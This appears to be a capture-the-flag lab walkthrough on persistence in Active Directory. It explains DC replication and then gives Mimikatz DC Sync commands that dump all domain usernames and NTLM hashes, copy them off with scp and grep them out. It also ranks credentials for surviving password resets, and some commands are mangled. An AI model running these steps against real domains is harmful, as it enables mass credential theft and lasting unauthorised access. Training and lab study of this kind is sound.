Persistence through credentials

It is not sufficient to have a single domain controller per domain in large organisations. These domains are often used in multiple regional locations, and having a single DC would significantly delay any authentication services in AD. These organisations make use of multiple DCs.

Each domain controller runs a process called the Knowledge Consistency Checker (KCC). The KCC generates a replication topology for the AD forest and automatically connects to other domain controllers through Remote Procedure Calls (RPC) to synchronise information. This includes updated information such as the user’s new password and new objects such as when a new user is created.

The process of replication is called DC Synchronisation. It is not just the DCs that can initiate replication. Accounts such as those belonging to the Domain Admins groups can also do it for legitimate purposes such as creating a new domain controller.

A popular attack to perform is a DC Sync attack. With access to an account that has domain replication permissions, it is possible to stage a DC Sync attack to harvest credentials from a DC.


Passwords can easily be changed and will be changed by the blue team when an attacker is discovered. More reliable credentials would be:

  • Local Administrative Accounts (Could still maintain a presence on multiple machines)

  • Delegate Accounts (Given the right delegation, could generate silver or golden tickets)

  • AD Service Credentials (WSUS, SCCM, Could force changes on the network)

Order of Operations

  • Use your unprivileged credentials from the distributor to facilitate initial access

  • Use the given Administrator credentials to perform privileged operations. Pretend that these are credentials you’ve obtained during the exploitation phase.

DC Sync



To do a DC Sync of a single account DC Sync with Mimikatz, test it on the user credential obtained from the distributor:

powershell.exe -ep bypass


mimikatz # lsadump::dcsync /domain:za.tryhackmloc /

To dcsync all users from the domain controller:

  • Specify a log file in the Mimikatz session

  • Or, exit Mimikatz and run a one-liner

Log file

To enable logging on Mimikatz (change to the one received from the distributor):

mimikatz # log <>_dcdump.txt 
Using '<>_dcdump.txt' for logfile: OK

Use the /all flag:

mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all

Takes a while … Once done, exit Mimikatz to finalise the dump find.

Download the <>_dcdump.txt or dcsyncall.txt file:

scp<>_dcdump.txt .

Recover all the usernames:

cat <>_dcdump.txt | grep "SAM Username"

Recover all hashes:

cat <>_dcdump.txt | grep "Hash NTLM"


The better solution because it keeps the log files clean:

C:\Tools\mimikatz_trunk\x64\mimikatz.exe 'lsadump::dcsync /domain:za.tryhackme.loc /all' > dcsyncall.txt

Download the dcsyncall.txt file:

scp .

Remove Windows CRLF line endings and change to utf8 encoding

dos2unix dcsyncall.txt

Inspect the file with the less command, using the arrow keys to navigate, and searching for a term by hitting the / key:

less dcsyncall.txt